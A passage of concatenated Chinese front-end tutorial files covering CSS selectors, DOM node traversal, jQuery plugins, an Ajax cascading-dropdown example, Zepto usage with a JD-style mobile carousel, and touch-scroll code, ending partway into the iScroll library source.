> 特点:给所有的标签都使用相同的样式。
## 6、复合选择器
**两个或者两个以上的基础选择器通过不同的方式连接在一起使用。**
### 6.1. 交集选择器
语法:
```css
标签+类(ID)选择器{
属性:值;
}
```
> 特点:即要满足使用了某个标签,还要满足使用了类选择器或者ID选择器。

### 6.2. 后代选择器
```css
选择器+[空格]+选择器{
属性:值;
}
```
> 后代选择器首选要满足包含(嵌套)关系。
>
> 父集元素在前边,子集元素在后边。
>
> **特点:无限制隔代。(只要是后代都会生效)**

只要能代表标签,标签、类选择器、ID选择器自由组合。

### 6.3. 子代选择器
语法:
```css
选择器>选择器{
属性:值;
}
```
> 特点:只能选中直接下一代元素,下下一代就选不中了(不能隔代选择)。

### 6.4. 并集选择器
```html
选择器,
选择器,
选择器{
属性:值;
}
```
> 特点:一次可以设置多条选择器规则。

| Daotin/Web/02-CSS/01-CSS基础/01-CSS概述,选择器.md/0 | {
"file_path": "Daotin/Web/02-CSS/01-CSS基础/01-CSS概述,选择器.md",
"repo_id": "Daotin",
"token_count": 3336
} | 11 |
## 1、节点的概念
页面中的所有内容,包括标签,属性,文本(文字,空格,回车,换行等),也就是说页面的所有内容都可以叫做节点。
## 2、节点相关的属性
### 2.1、节点分类
**标签节点:**比如 div 标签,p 标签等。
**属性节点:**比如 class,value 等。
**文本节点:**比如闭合标签中的文本内容。
### 2.2、节点属性
**nodeType:节点的类型**,它的值有 1,2,3 三种。
标签节点:值为 1
属性节点:值为 2
文本节点:值为 3
**nodeName:节点的名字**
标签节点:大写的标签名字
属性节点:小写的属性名字
文本节点:\#text
**nodeValue:节点的值**
标签节点:null
属性节点:属性的值
文本节点:文本内容
## 3、元素属性增删改查
```js
boxObj.attributes; // 返回元素所有属性集合对象
boxObj.attributes.length;//返回属性节点个数、
boxObj.attributes[0]; //返回第一个属性节点 (id="first")
boxObj.attributes['id']; //返回属性为 id 的节点
// 获取某个属性对应的值使用 getAttribute("属性的名称");
boxObj.getAttribute("id"); // first
// 修改或新增(如果不存在的话)属性的值
boxObj.setAttribute("id", "second"); // id="second"
// 移除属性
boxObj.removeAttribute("id");
```
**注意:**getAttribute的获取属性只能是行内样式才可以。
如 style 在行内样式可以使用 `boxObj.style.color` 获取到,如果是外部样式是获取不到的,但是设置可以。
外部样式获取使用 :`window.getComputedStyle(boxObj)["color"]`
但是 IE8 不支持。
**封装获取任意元素的任意一个属性值**
```js
function getStyle(element, attr) {
return window.getComputedStyle ?
window.getComputedStyle(element, null)[attr] :
element.currentStyle[attr];
}
```
## 4、获取相关节点
### 4.1、获取父节点和父元素
父节点只能是标签,不能是属性节点和文本节点,所以父节点也是父元素。
```html
<body>
<div id="dv">
<p id="pid"></p>
<span></span>
</div>
<script src="common.js"></script>
<script>
var dvObj = my$("pid");
console.log(dvObj.parentNode);
console.log(dvObj.parentElement);
</script>
</body>
```
> **parentNode**:获取元素的父节点。
>
> **parentElement**:获取元素的父元素。
### 4.2、获取子节点和子元素
```html
<body>
<div id="dv">
<p id="pid">p标签</p>
<span>span标签</span>
<ul>
<li>li标签</li>
<li>li标签</li>
<li>li标签</li>
<li>li标签</li>
<li>li标签</li>
</ul>
</div>
<script src="common.js"></script>
<script>
var dvObj = my$("dv");
// 获取子节点
console.log(dvObj.childNodes); // 7个
// 获取子元素
console.log(dvObj.children); // 3个
</script>
</body>
```
> **childNodes**:获取所有子节点(包括标签,属性,节点)
>
> **children**:获取所有子元素(仅包括标签)
### 4.3、通过属性的名字获取属性节点
```html
<body>
<div id="dv">
<p id="pid">p标签</p>
<span>span标签</span>
<ul>
<li>li标签</li>
<li>li标签</li>
<li>li标签</li>
<li>li标签</li>
<li>li标签</li>
</ul>
</div>
<script src="common.js"></script>
<script>
var dvObj = my$("dv");
console.log(dvObj.getAttributeNode("id")); // id="dv"
</script>
</body>
```
> **getAttributeNode**:可以获取属性节点。
### 4.4、获取节点和元素的12行代码
```html
<body>
<div id="dv">
<p id="pid">p标签</p>
<span>span标签</span>
<ul id="uu">海
<li>li标签</li>内
<li>li标签</li>存
<li id="three">li标签</li>知己
<li>li标签</li>天涯
<li>li标签</li>若比邻
</ul>
</div>
<script src="common.js"></script>
<script>
var ulObj = my$("uu");
// 父节点
console.log(ulObj.parentNode);
// 父元素
console.log(ulObj.parentElement);
// 子节点
console.log(ulObj.childNodes);
// 子元素
console.log(ulObj.children);
// ------------------------------------------------
// 第一个子节点
console.log(ulObj.firstChild);
// 第一个子元素
console.log(ulObj.firstElementChild);
// 最后一个子节点
console.log(ulObj.lastChild);
// 最后一个子元素
console.log(ulObj.lastElementChild);
// 某个元素的前一个兄弟节点
console.log(my$("three").previousSibling);
// 某个元素的前一个兄弟元素
console.log(my$("three").previousElementSibling);
// 某个元素的后一个兄弟节点
console.log(my$("three").nextSibling);
// 某个元素的后一个兄弟元素
console.log(my$("three").nextElementSibling);
</script>
</body>
```
> 1、以上前四个,chrome, firefox, IE8 都支持
>
> 2、后面八个,chrome,firefox支持,IE8下,**所有获取节点的操作都获取的是元素,所有获取元素的操作都是 undefined。**
### 4.5、总结
- 获取父子节点和元素的操作,chrome, firefox, IE8 都支持;
- 获取特殊子节点或者子元素和兄弟节点和元素操作,IE8 中所有的节点操作都是元素操作,所有的元素操作都是 undefined。
## 5、通过节点操作元素
**通过节点操作元素的背景颜色**
```html
// 通过节点设置p标签的背景颜色为蓝色
<body>
<input type="button" value="变色" id="btn">
<div id="dv">
<p>p标签</p>
<span>span标签</span>
<p>p标签</p>
<span>span标签</span>
<p>p标签</p>
</div>
<script src="common.js"></script>
<script>
my$("btn").onclick = function () {
var dvObj = my$("dv");
var nodes = dvObj.childNodes;
for(var i=0; i<nodes.length; i++) {
if((nodes[i].nodeType === 1) && (nodes[i].nodeName === "P")) {
nodes[i].style.backgroundColor = "blue";
}
}
};
</script>
</body>
```
> 通过节点属性来区分节点和元素。
## 6、封装节点兼容代码
```html
<body>
<input type="button" value="变色" id="btn">
<ul id="uu">
<li>复仇者联盟1</li>
<li>复仇者联盟2</li>
<li>复仇者联盟3</li>
<li id="ii">复仇者联盟4</li>
<li>复仇者联盟5</li>
<li>复仇者联盟6</li>
<li>复仇者联盟7</li>
<li>复仇者联盟8</li>
</ul>
<script src="common.js"></script>
<script>
// 获取任意一个父元素的第一个子元素
function getFirstElement(element) {
if(element.firstElementChild) {
return element.firstElementChild;
} else { // 主要考虑到多个文本节点的影响
var node = element.firstChild;
while((node) && (node.nodeType !== 1)) {
node = node.nextSibling;
}
return node;
}
}
// 获取任意一个父元素的最后一个子元素
function getLastElement(element) {
if(element.lastElementChild) {
return element.lastElementChild;
} else { // 主要考虑到多个文本节点的影响
var node = element.lastChild;
while((node) && (node.nodeType !== 1)) {
node = node.previousSibling;
}
return node;
}
}
// 获取任意一个元素的前一个兄弟元素
function getPreviousElement(element) {
if(element.previousElementSibling) {
return element.previousElementSibling;
} else { // 主要考虑到多个文本节点的影响
var node = element.previousSibling;
while((node) && (node.nodeType !== 1)) {
node = node.previousSibling;
}
return node;
}
}
// 获取任意一个元素的后一个兄弟元素
function getNextElement(element) {
if(element.nextElementSibling) {
return element.nextElementSibling;
} else { // 主要考虑到多个文本节点的影响
var node = element.nextSibling;
while((node) && (node.nodeType !== 1)) {
node = node.nextSibling;
}
return node;
}
}
// 测试
console.log(getFirstElement(my$("uu")).innerText);
console.log(getLastElement(my$("uu")).innerText);
console.log(getPreviousElement(my$("ii")).innerText);
console.log(getNextElement(my$("ii")).innerText);
</script>
</body>
```
> 主要是兼容chrome 和 IE8 之间的差异,其次以获取任意一个父元素的第一个子元素为例,之所以不在 else 里面直接使用 `return element.firstChild;` 主要考虑到标签之间可能有多个文本节点的影响。
| Daotin/Web/03-JavaScript/02-DOM/04-获取节点,属性增删改查.md/0 | {
"file_path": "Daotin/Web/03-JavaScript/02-DOM/04-获取节点,属性增删改查.md",
"repo_id": "Daotin",
"token_count": 5932
} | 12 |
## 一、each 方法
each 方法用来遍历 jQuery 对象的,它的参数是一个事件处理函数,这个事件处理函数有两个参数,第一个参数是索引,第二个参数时索引对应的 `DOM`对象,使用的时候注意转成 jQuery 对象。
语法:
```js
// 参数1:元素集合索引
// 参数2:索引对应的DOM元素
元素集合.each(function (index, ele) {
// ...
})
// 上面等同于
$.each(对象/数组, function(index,item){}) // 这种写法第一个参数可以是对象,也可以是数组,这个数组就包括上面的元素集合。
```
示例:
```js
$("#uu>li").each(function (index, ele) {
$(ele).css("opacity", (index + 1) / 10);
})
```
> 注意:each遍历完成后将原数组直接返回,不能像filter那样筛选返回。写不写return都会返回原数组。
## 二、多库共存
**由来:**
当引入多个 js 库,而这些 js 库中有的方法具有相同的名称,那么在调用这个方法的时候就会出现冲突。
**解决办法:**
权限转让:`var 新方法名 = 旧方法名.noConflict();`
之后,所有使用旧方法名的地方都可以用新方法名代替。
## 三、包装集
我们获取的 jQuery 对象其实都是 DOM 对象的集合,从 jQuery 对象转换成 DOM 集合的方法也可以看出。jQuery 对象转换 DOM 对象的方式:`jQuery对象[0]`,这就说明jQuery 对象其实都是DOM对象的集合。
既然 jQuery 对象是一个集合,那么就有 length 属性。这个 length 属性作用重大,它可以帮助我们在创建元素的只创建一个。**(jQuery的单例模式)**
示例:点击按钮,在div中只添加一个p标签。
```js
$("#btn").click(function (param) {
if ($("#pp").length == 0) {
$("#dv").append($("<p id='pp'>标签p</p>"));
}
});
```
## 四、插件
### 1、什么是插件?
插件其实就是一个功能的实现。包括所用到的 css ,jQuery 等的所有代码的封装集合。我们在使用插件的时候只需要引入其对应的 css ,jQuery 文件以及html代码,经过少许的修改就可以得到相似的效果,大大节省了开发的时间,避免了重复造轮子。
插件下载下来一般包括下面几个部分:
css 文件夹:包括 css 文件
js 文件夹:jQuery 官方 js 文件, 插件的 js文件
index.html :演示文件(我们可以直接在上面改成自己需要的文件,或者copy里面的代码到自己的文件中)
### 2、插件的制作
jQuery插件制作方式主要有两种:
**2.1、通过`$.fn `向jQuery添加新的方法**
举个🌰:
我们向jQuery中插入一个设置随机颜色的方法 randomColor。
我们只需要在 jQuery 源码的最后,加入下面代码:
```js
(function ($) {
$.fn.randomColor=function () {
var str="#";
for(var i=0;i<6;i++){
str+=Math.floor(Math.random()*16).toString(16);
}
//this就是调用这个方法jQuery元素
this.css("backgroundColor",str);
}
})(jQuery);
```
我们在使用的时候:
```js
$("<div></div>").width(50).height(50).randomColor(); // 有点类似函数的动态方法
```
**2.2、通过`$.extend()`来扩展jQuery**
再举个🌰:
我们向jQuery中插入一个获取随机颜色的方法 getRandomColor。
```js
(function ($) {
$.extend({
//不能使用this
getRandomColor:function () {
var str="#";
for(var i=0;i<6;i++){
str+=Math.floor(Math.random()*16).toString(16);
}
return str;
}
})
})(jQuery);
```
使用的时候:
```js
console.log($.getRandomColor()); // 有点类似函数的静态方法
```
参考链接(教你开发 jQuery插件):https://www.cnblogs.com/ajianbeyourself/p/5815689.html
### 3、jQuery 插件的使用
使用网上下载的插件,一般分为以下几步:
>1、导入下载下来的 css 文件
>
>2、导入 jQuery 官方库
>
>3、导入插件的 jQuery 库文件
>
>4、复制 index.html 相关代码到自己的文件中。
| Daotin/Web/04-jQuery/08-each,多库共存,包装集,插件.md/0 | {
"file_path": "Daotin/Web/04-jQuery/08-each,多库共存,包装集,插件.md",
"repo_id": "Daotin",
"token_count": 2536
} | 13 |
省市联动案例:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<select name="" id="province">
<option value="">请选择省份</option>
</select>
<select name="" id="city">
<option value="">请选择市</option>
</select>
<select name="" id="area">
<option value="">请选择区</option>
</select>
</body>
<script>
var province = document.querySelector("#province");
var city = document.querySelector("#city");
var area = document.querySelector("#area");
var xhr = new XMLHttpRequest();
xhr.open("get", "http://api.yytianqi.com/citylist/id/2", true);
xhr.send();
xhr.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
var json = JSON.parse(this.responseText);
var jsonList = json.list;
var provinceHtml = "<option value=''>请选择省份</option>";
jsonList.map(function (item) {
var provinceId = item["city_id"];
var provinceName = item["name"];
provinceHtml += `<option value="${provinceId}">${provinceName}</option>`;
});
province.innerHTML = provinceHtml;
// 当province的 select 里面value的值改变的时候
var cityList = [];
province.onchange = function () {
var provinceId = this.value; // 省的id
var province = jsonList.filter(function (item) {
return item["city_id"] == provinceId;
})[0];
cityList = province.list;
var cityHtml = '<option value="">请选择市</option>';
cityList.map(function (item) {
var cityId = item["city_id"];
var cityName = item["name"];
cityHtml += `<option value=${cityId}>${cityName}</option>`
});
city.innerHTML = cityHtml;
};
// 当city的select 里面value的值改变的时候
city.onchange = function () {
var cityId = this.value;
var city = cityList.filter(function (item) {
return item["city_id"] == cityId;
})[0];
var areaList = city.list;
// 判断是否为直辖市
if (areaList) {
area.style.display = "inline-block";
var areaHtml = '<option value="">请选择区</option>';
areaList.map(function (item) {
var areaId = item["city_id"];
var areaName = item["name"];
areaHtml += `<option value="${areaId}">${areaName}</option>`;
});
area.innerHTML = areaHtml;
} else {
area.style.display = "none";
}
};
}
};
</script>
</html>
```

注意事项:
> Ajax最好不要用全局变量,因为Ajax请求需要时间,你获取到的可能是未更新的值。
>
> 如果非要使用的话,使用回调函数来执行这个变量。
```js
var global = "";
var xhr = new XMLHttpRequest();
xhr.open("get", "./data", true);
xhr.send();
xhr.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
global = this.responseText;
show(global);
}
};
function show(data) {
alert(data);
}
```
上面省市联动中,在获取地区的列表时,需要用到市的信息,所以我们将市的列表提升出来:
`var cityList = [];`
由于这里 cityList 并不是在Ajax中获取的数据,所以没有这个考虑。但是上面的坑是一定要注意的。 | Daotin/Web/06-Ajax/06-Ajax省市联动,Ajax最好不要用全局变量.md/0 | {
"file_path": "Daotin/Web/06-Ajax/06-Ajax省市联动,Ajax最好不要用全局变量.md",
"repo_id": "Daotin",
"token_count": 2159
} | 14 |
## 一、Zepto简介

Zepto是一个轻量级的针对现代高级浏览器的 **JavaScript库**, 它**与jquery有着类似的api。**
Zepto 主要使用在移动端浏览器上面,由于移动端的浏览器都是比较新的平台,而 jQuery 主要是在 PC 上为了浏览器的兼容性而使用的,所以**在移动端一般不使用 jQuery,因为它的兼容性失去了意义。**
**Zepto 就是移动端代替 jQuery 的 js 库,它封装了很多关于手势操作的方法。如果你会用jquery,那么你也会用zepto。**
Zepto js 库文件的下载地址:https://github.com/madrobby/zepto,直接下载源码文件,相应的所有 js 文件就在 src 目录下。
## 二、手势事件封装
Zepto 将移动端的 `touchStart`,`touchmove` 和 `touchEnd` 封装成了一系列事件。
`tap` :触摸屏幕时触发。
`singleTap` :单击屏幕时触发
`doubleTap`:双击屏幕时触发。(如果你不需要检测单击、双击,使用 tap 代替)。
`longTap` :长按时触发。当一个元素被按住超过750ms触发。
`swipe`:滑动屏幕时触发。
`swipeLeft, swipeRight, swipeUp, swipeDown`:屏幕左滑,右滑,上滑,下滑时触发。
## 三、Zepto 模块化
Zepto 有一点和 jQuery 是不同的,就是 Zepto 是分模块的。在使用的时候不是像 jQuery 只需要引入一个 js 文件就可以了。Zepto 是分模块的。
默认的 **Zepto.js** 文件只包含下面一些功能:
| zepto | ✔ | 核心模块;包含许多方法 |
| ----- | ---- | ---------------------------------------- |
| event | ✔ | 通过`on()`& `off()`处理事件 |
| ajax | ✔ | XMLHttpRequest 和 JSONP 实用功能 |
| form | ✔ | 序列化 & 提交web表单 |
| ie | ✔ | 增加支持桌面的Internet Explorer 10+和Windows Phone 8。 |
如果要使用到其他的功能,就需要包含其他的 js 文件:
| detect.js | 提供 `$.os`和 `$.browser`消息 |
| ------------- | ---------------------------------------- |
| fx.js | The `animate()`方法 |
| fx_methods.js | 以动画形式的 `show`, `hide`, `toggle`, 和 `fade*()`方法. |
| assets.js | 实验性支持从DOM中移除image元素后清理iOS的内存。 |
| data.js | 一个全面的 `data()`方法, 能够在内存中存储任意对象。 |
| deferred.js | 提供 `$.Deferred`promises API. 依赖"callbacks" 模块. 当包含这个模块时候, `$.ajax()` 支持promise接口链式的回调。 |
| callbacks.js | 为"deferred"模块提供 `$.Callbacks`。 |
| selector.js | 实验性的支持 jQuery CSS 表达式 实用功能,比如 `$('div:first')`和`el.is(':visible')`。 |
| touch.js | 在触摸设备上触发tap– 和 swipe– 相关事件。这适用于所有的`touch`(iOS, Android)和`pointer`事件(Windows Phone)。 |
| gesture.js | 在触摸设备上触发 pinch 手势事件。 |
| stack.js | 提供 `andSelf`& `end()`链式调用方法 |
| ios3.js | String.prototype.trim 和 Array.prototype.reduce 方法 (如果他们不存在) ,以兼容 iOS 3.x. |
所以,每次在使用到某一个功能的时候,就需要到 html 文件下添加相应的 js 库文件,这样就比较繁琐,更重要的是多个 js 文件会增加访问服务器的次数,那么我们可不可以像 jQuery 一样,只包含一个 js 库文件就包括所有的功能呢?
答案是肯定的。
## 四、Zepto 的定制
**Zepto 允许将多个 js 文件打包成一个 js 文件。**
**操作步骤:**
1、安装 Nodejs 环境
2、下载 zepto.js 源码并解压好。
3、cmd 命令行进入解压缩后的目录
4、执行`npm install` 命令(这一步需要联网下载)
5、编辑 zepto.js 源码中的 make文件,添加自定义模块并保存,如下
原来的:`modules = (env['MODULES'] || 'zepto event ajax form ie').split(' ')`
增加自己需要的模块:`modules = (env['MODULES'] || 'zepto event ajax form ie fx selector touch').split(' ')`
6、然后执行命令 `npm run-script dist`(这一步会在当前目录生成一个dist文件夹)
7、查看目录 dist ,里面就有我们打包好的 zepto.js 库文件。
## 五、使用 zepto 实现京东移动首页
相关源码已放置 [Github](https://github.com/Daotin/Web/tree/master/Code/src/11/jd.zip)
以下为详细代码:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<link rel="stylesheet" href="./css/base.css">
<link rel="stylesheet" href="./css/index.css">
<!-- <script src="./js/index.js"></script> -->
<script src="./zepto-master/src/zepto.min.js"></script>
<script src="./zepto-master/src/fx.js"></script>
<script src="./zepto-master/src/selector.js"></script>
<script src="./zepto-master/src/touch.js"></script>
<script src="./js/index-zepto.js"></script>
</head>
<body>
<div class="jd">
<!-- 搜索栏开始 -->
<div class="search">
<a href="javascript:;" class="search-logo"></a>
<form action="" class="search-text">
<input type="text" placeholder="请输入商品名称">
</form>
<a href="javascript:;" class="search-login">登录</a>
</div>
<!-- 搜索栏结束 -->
<!-- 轮播图开始 -->
<div class="slideshow">
<ul class="slideshow-img clearfix">
<li>
<a href="javascript:;">
<img src="./uploads/l1.jpg" alt="">
</a>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/l2.jpg" alt="">
</a>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/l3.jpg" alt="">
</a>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/l4.jpg" alt="">
</a>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/l5.jpg" alt="">
</a>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/l6.jpg" alt="">
</a>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/l7.jpg" alt="">
</a>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/l8.jpg" alt="">
</a>
</li>
</ul>
<ul class="slideshow-dot">
<li class="select"></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
</div>
<!-- 轮播图结束 -->
<!-- 导航栏开始 -->
<div class="nav">
<ul class="nav-ul clearfix">
<li>
<a href="javascript:;">
<img src="./uploads/nav0.png">
</a>
<p>商品分类</p>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/nav1.png">
</a>
<p>商品分类</p>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/nav2.png">
</a>
<p>商品分类</p>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/nav3.png">
</a>
<p>商品分类</p>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/nav4.png">
</a>
<p>商品分类</p>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/nav5.png">
</a>
<p>商品分类</p>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/nav6.png">
</a>
<p>商品分类</p>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/nav7.png">
</a>
<p>商品分类</p>
</li>
</ul>
</div>
<!-- 导航栏结束 -->
<!-- 主体内容开始 -->
<div class="content">
<div class="content-box clearfix content-box-sk">
<div class="content-title">
<span class="content-title-left-clock"></span>
<span class="content-title-left-text fl">掌上秒杀</span>
<div class="content-title-left-time fl">
<span>0</span>
<span>0</span>
<span>:</span>
<span>0</span>
<span>0</span>
<span>:</span>
<span>0</span>
<span>0</span>
</div>
<span class="content-title-right fr">更多秒杀...</span>
</div>
<lu class="content-ul clearfix">
<li>
<a href="javascript:;">
<img src="./uploads/detail01.jpg" alt="" class="br">
</a>
<p>¥10.00</p>
<p class="content-ul-delete">¥20.00</p>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/detail01.jpg" alt="" class="br">
</a>
<p>¥10.00</p>
<p class="content-ul-delete">¥20.00</p>
</li>
<li>
<a href="javascript:;">
<img src="./uploads/detail01.jpg" alt="">
</a>
<p>¥10.00</p>
<p class="content-ul-delete">¥20.00</p>
</li>
</lu>
</div>
<div class="content-box clearfix">
<div class="content-title">
<h3>京东超市</h3>
</div>
<lu class="content-ul">
<li class="fl">
<a href="javascript:;">
<img src="./uploads/cp1.jpg" alt="">
</a>
</li>
<li class="fl bl bb">
<a href="javascript:;">
<img src="./uploads/cp2.jpg" alt="">
</a>
</li>
<li class="fl bl">
<a href="javascript:;">
<img src="./uploads/cp3.jpg" alt="">
</a>
</li>
</lu>
</div>
<div class="content-box clearfix">
<div class="content-title">
<h3>京东超市</h3>
</div>
<lu class="content-ul">
<li class="fr">
<a href="javascript:;">
<img src="./uploads/cp4.jpg" alt="">
</a>
</li>
<li class="fl bl bb">
<a href="javascript:;">
<img src="./uploads/cp5.jpg" alt="">
</a>
</li>
<li class="fl bl">
<a href="javascript:;">
<img src="./uploads/cp6.jpg" alt="">
</a>
</li>
</lu>
</div>
</div>
<!-- 主体内容结束 -->
</div>
</body>
</html>
```
js 文件:
```js
$(function () {
// 1.在开始和最后位置添加图片
// 2.重新设置图片盒子的宽度和图片的宽度
// 3.添加定时器,自动轮播
// 4.添加过渡结束事件
// 5.设置小白点
// 6.添加手动轮播
// 获取元素
var ulObj = $(".slideshow-img");
var first = ulObj.find("li:first-of-type");
var last = ulObj.find("li:last-of-type");
var bannerWidth = $(".slideshow").width();
// 在开始和最后位置添加图片
ulObj.append(first.clone());
last.clone().insertBefore(first);
// 重新设置图片盒子的宽度和图片的宽度
var liObjs = ulObj.find("li");
ulObj.width(liObjs.length +"00%");
liObjs.each(function (index) {
// 数组是DOM操作,要转换成zepto元素
$(liObjs[index]).width(bannerWidth);
});
// 设置默认显示第一张图
ulObj.css("transform", "translateX("+ -bannerWidth +"px)");
var index = 1;
// 盒子改变大小的时候重现设置图片盒子的宽度和图片的宽度
$(window).on("resize", function () {
ulObj.width(liObjs.length +"00%");
liObjs.each(function (index) {
// 数组是DOM操作,要转换成zepto元素
$(liObjs[index]).width($(".slideshow").width());
});
ulObj.css("transform", "translateX("+ -$(".slideshow").width()*index +"px)");
});
// 轮播动画函数
var setAnimate = function () {
ulObj.animate(
{"transform": "translateX("+ -$(".slideshow").width()*index +"px)"},
500,
"linear",
function () { // 过渡结束事件回调函数
if(index == 0) {
index = liObjs.length -2;
ulObj.css("transform", "translateX("+ -$(".slideshow").width()*index +"px)");
} else if(index == liObjs.length -1) {
index = 1;
ulObj.css("transform", "translateX("+ -$(".slideshow").width()*index +"px)");
}
// 设置小白点
$(".slideshow-dot").children("li").removeClass("select").eq(index-1).addClass("select");
}
);
};
var timerId;
// 添加定时器,自动轮播
var timerStart = function () {
timerId = setInterval(function () {
index++;
setAnimate();
}, 1500);
};
timerStart();
// 手动轮播操作
ulObj.on("swipeLeft", function () {
clearInterval(timerId);
index++;
setAnimate();
//手动轮播操作完成后再开启定时器
timerStart();
});
ulObj.on("swipeRight", function () {
clearInterval(timerId);
index--;
setAnimate();
// 手动轮播操作完成后再开启定时器
timerStart();
});
//------------------------------------------------
// 搜索栏上下滚动时改变透明度
var bannerEffect = function () {
var bannerObj = $(".search");
var slideshowObj = $(".slideshow");
var bannerHeight = bannerObj.height();
var imgHeight = slideshowObj.height();
// console.log(bannerHeight + ' ' + imgHeight);
$(window).on("scroll", function (e) {
var scrollHeight = $(window).scrollTop();
if(scrollHeight < (imgHeight-bannerHeight)) {
var setopacity = scrollHeight / (imgHeight-bannerHeight);
bannerObj.css("backgroundColor", "rgba(233, 35, 34,"+setopacity+")");
}
});
};
bannerEffect();
//-----------------------------------------------------
// 设置倒计时
var timerCount = function () {
var timers = $(".content-title-left-time").children("span");
var titleCount = 2*60*60;
var timerId = setInterval(function () {
titleCount--;
var hour = Math.floor(titleCount / 3600);
var minute = Math.floor((titleCount % 3600) / 60);
var second = titleCount % 60;
if(titleCount >= 0) {
$(timers[0]).html(Math.floor(hour / 10));
$(timers[1]).html(hour % 10);
$(timers[3]).html(Math.floor(minute / 10));
$(timers[4]).html(minute % 10);
$(timers[6]).html(Math.floor(second / 10));
$(timers[7]).html(second % 10);
} else {
titleCount = 0;
clearInterval(timerId);
return;
}
}, 1000);
};
timerCount();
});
```

| Daotin/Web/07-移动Web开发/03-Zepto.md/0 | {
"file_path": "Daotin/Web/07-移动Web开发/03-Zepto.md",
"repo_id": "Daotin",
"token_count": 11251
} | 15 |
window.onload = function () {
leftSlideEffect();
};
// 左侧滑动栏效果和点击效果
function leftSlideEffect() {
// 添加左侧栏的滑动效果
var mainObj = document.querySelector(".main");
var leftUlObj = document.querySelector(".main-left").children[1];
var mainLeftHeight = document.querySelector(".main-left").offsetHeight;
var leftUlObjHeight = leftUlObj.offsetHeight;
var liObjs = leftUlObj.querySelectorAll("li");
var startY=0; // 起始位置
var diffY=0; // 滑动后与起始位置的偏移
var currentY=0; // 保存每次滑动后的偏移
var maxTop = 0; // 最大top偏移值
var minTop = mainLeftHeight-leftUlObjHeight; // 最大top偏移值
var maxBounceTop = maxTop + 100; //弹性最大高度
var minBounceTop = minTop - 100; //弹性最小高度
leftUlObj.addEventListener("touchstart", function(e) {
// 计算起始坐标
startY = e.targetTouches[0].clientY;
});
leftUlObj.addEventListener("touchmove", function(e) {
/*计算距离的差异*/
diffY = e.targetTouches[0].clientY - startY;
/*判断滑动的时候是否超出当前指定的滑动区间*/
if((diffY+currentY > maxBounceTop) || (diffY+currentY < minBounceTop)) {
return;
}
/*先将之前可能添加的过渡效果清除*/
leftUlObj.style.transition = "none";
/*实现偏移操作:应该在之前的滑动距离的基础之上再进行滑动*/
leftUlObj.style.top = diffY+currentY + "px";
});
leftUlObj.addEventListener("touchend", function() {
if(diffY+currentY > maxTop) {
// 回到maxTop位置,设置currentY当前值
leftUlObj.style.transition = "top 0.5s"
leftUlObj.style.top = maxTop + "px";
currentY = maxTop;
} else if(diffY+currentY < minTop) {
// 回到minTop位置,设置currentY当前值
leftUlObj.style.transition = "top 0.5s"
leftUlObj.style.top = minTop + "px";
currentY = minTop;
} else {
// 记录当前滑动的距离
currentY += diffY;
}
});
/*为每一个li元素设置添加一个索引值*/
for(var i=0; i<liObjs.length; i++) {
// liObjs是对象,给对象增加属性值
liObjs[i].index = i;
}
// 点击事件
fingerTap.tap(leftUlObj, function (e) {
// 清除所有li标签
for(var i=0; i<liObjs.length; i++) {
liObjs[i].classList.remove("active");
}
//设置点击的li标签的样式
var indexLi = e.target.parentElement;
indexLi.classList.add("active");
// 每个li标签的高度
var indexLiHeight = indexLi.offsetHeight;
/*2.移动当前的li元素到父容器的最顶部,但是不能超出之前设定了静止状态下的最小top值*/
leftUlObj.style.transition = "top 0.5s";
if(-indexLiHeight*indexLi.index < minTop) {
leftUlObj.style.top = minTop + "px";
// 记得重置currentY的值
currentY=minTop;
} else {
leftUlObj.style.top = -indexLiHeight*indexLi.index + "px";
// 记得重置currentY的值
currentY=-indexLiHeight*indexLi.index;
}
});
}
| Daotin/Web/07-移动Web开发/案例源码/02-仿JD移动端/js/category.js/0 | {
"file_path": "Daotin/Web/07-移动Web开发/案例源码/02-仿JD移动端/js/category.js",
"repo_id": "Daotin",
"token_count": 1884
} | 16 |
/*! iScroll v5.2.0 ~ (c) 2008-2016 Matteo Spinelli ~ http://cubiq.org/license */
(function (window, document, Math) {
var rAF = window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
window.oRequestAnimationFrame ||
window.msRequestAnimationFrame ||
function (callback) { window.setTimeout(callback, 1000 / 60); };
var utils = (function () {
var me = {};
var _elementStyle = document.createElement('div').style;
var _vendor = (function () {
var vendors = ['t', 'webkitT', 'MozT', 'msT', 'OT'],
transform,
i = 0,
l = vendors.length;
for ( ; i < l; i++ ) {
transform = vendors[i] + 'ransform';
if ( transform in _elementStyle ) return vendors[i].substr(0, vendors[i].length-1);
}
return false;
})();
function _prefixStyle (style) {
if ( _vendor === false ) return false;
if ( _vendor === '' ) return style;
return _vendor + style.charAt(0).toUpperCase() + style.substr(1);
}
me.getTime = Date.now || function getTime () { return new Date().getTime(); };
me.extend = function (target, obj) {
for ( var i in obj ) {
target[i] = obj[i];
}
};
me.addEvent = function (el, type, fn, capture) {
el.addEventListener(type, fn, !!capture);
};
me.removeEvent = function (el, type, fn, capture) {
el.removeEventListener(type, fn, !!capture);
};
me.prefixPointerEvent = function (pointerEvent) {
